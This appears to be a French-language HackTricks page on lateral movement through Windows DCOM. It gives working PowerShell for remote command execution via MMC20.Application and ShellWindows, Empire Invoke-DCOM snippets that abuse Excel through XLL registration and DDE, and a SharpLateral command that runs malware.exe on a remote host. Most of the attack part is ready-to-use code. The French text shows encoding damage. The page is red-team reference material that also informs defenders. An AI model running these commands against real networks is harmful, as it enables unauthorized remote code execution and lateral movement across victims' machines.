DCOM Exec
Reading time: 6 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.
MMC20.Application
Pour plus d'informations sur cette technique, consultez le post original de https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Les objets du ModĂšle d'Objet Composant DistribuĂ© (DCOM) prĂ©sentent une capacitĂ© intĂ©ressante pour les interactions basĂ©es sur le rĂ©seau avec des objets. Microsoft fournit une documentation complĂšte pour DCOM et le ModĂšle d'Objet Composant (COM), accessible ici pour DCOM et ici pour COM. Une liste d'applications DCOM peut ĂȘtre rĂ©cupĂ©rĂ©e en utilisant la commande PowerShell :
Get-CimInstance Win32_DCOMApplication
L'objet COM, MMC Application Class (MMC20.Application), permet le scripting des opérations des modules complémentaires MMC. Notamment, cet objet contient une méthode ExecuteShellCommand
sous Document.ActiveView
. Plus d'informations sur cette mĂ©thode peuvent ĂȘtre trouvĂ©es ici. VĂ©rifiez son fonctionnement :
Cette fonctionnalitĂ© facilite l'exĂ©cution de commandes sur un rĂ©seau via une application DCOM. Pour interagir avec DCOM Ă distance en tant qu'administrateur, PowerShell peut ĂȘtre utilisĂ© comme suit :
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Cette commande se connecte Ă l'application DCOM et renvoie une instance de l'objet COM. La mĂ©thode ExecuteShellCommand peut ensuite ĂȘtre invoquĂ©e pour exĂ©cuter un processus sur l'hĂŽte distant. Le processus implique les Ă©tapes suivantes :
Vérifier les méthodes :
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Obtenir RCE :
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Pour plus d'informations sur cette technique, consultez le post original https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
L'objet MMC20.Application a Ă©tĂ© identifiĂ© comme manquant de "LaunchPermissions" explicites, par dĂ©faut aux permissions qui permettent l'accĂšs aux Administrateurs. Pour plus de dĂ©tails, un fil peut ĂȘtre explorĂ© ici, et l'utilisation de @tiraniddoâs OleView .NET pour filtrer les objets sans permission de lancement explicite est recommandĂ©e.
Deux objets spécifiques, ShellBrowserWindow
et ShellWindows
, ont été mis en évidence en raison de leur manque de permissions de lancement explicites. L'absence d'une entrée de registre LaunchPermission
sous HKCR:\AppID\{guid}
signifie qu'il n'y a pas de permissions explicites.
ShellWindows
Pour ShellWindows
, qui manque d'un ProgID, les méthodes .NET Type.GetTypeFromCLSID
et Activator.CreateInstance
facilitent l'instanciation de l'objet en utilisant son AppID. Ce processus utilise OleView .NET pour récupérer le CLSID pour ShellWindows
. Une fois instancié, l'interaction est possible via la méthode WindowsShell.Item
, conduisant à des invocations de méthodes comme Document.Application.ShellExecute
.
Des exemples de commandes PowerShell ont été fournis pour instancier l'objet et exécuter des commandes à distance :
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Mouvement latéral avec des objets DCOM Excel
Le mouvement latĂ©ral peut ĂȘtre rĂ©alisĂ© en exploitant des objets DCOM Excel. Pour des informations dĂ©taillĂ©es, il est conseillĂ© de lire la discussion sur l'utilisation d'Excel DDE pour le mouvement latĂ©ral via DCOM sur le blog de Cybereason.
Le projet Empire fournit un script PowerShell, qui démontre l'utilisation d'Excel pour l'exécution de code à distance (RCE) en manipulant des objets DCOM. Ci-dessous se trouvent des extraits du script disponible sur le dépÎt GitHub d'Empire, montrant différentes méthodes pour abuser d'Excel pour RCE :
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Outils d'automatisation pour le mouvement latéral
Deux outils sont mis en avant pour automatiser ces techniques :
-
Invoke-DCOM.ps1 : Un script PowerShell fourni par le projet Empire qui simplifie l'invocation de différentes méthodes pour exécuter du code sur des machines distantes. Ce script est accessible dans le dépÎt GitHub d'Empire.
-
SharpLateral : Un outil conçu pour exĂ©cuter du code Ă distance, qui peut ĂȘtre utilisĂ© avec la commande :
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Outils Automatiques
- Le script Powershell Invoke-DCOM.ps1 permet d'invoquer facilement toutes les méthodes commentées pour exécuter du code sur d'autres machines.
- Vous pouvez Ă©galement utiliser SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Références
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- VĂ©rifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépÎts github.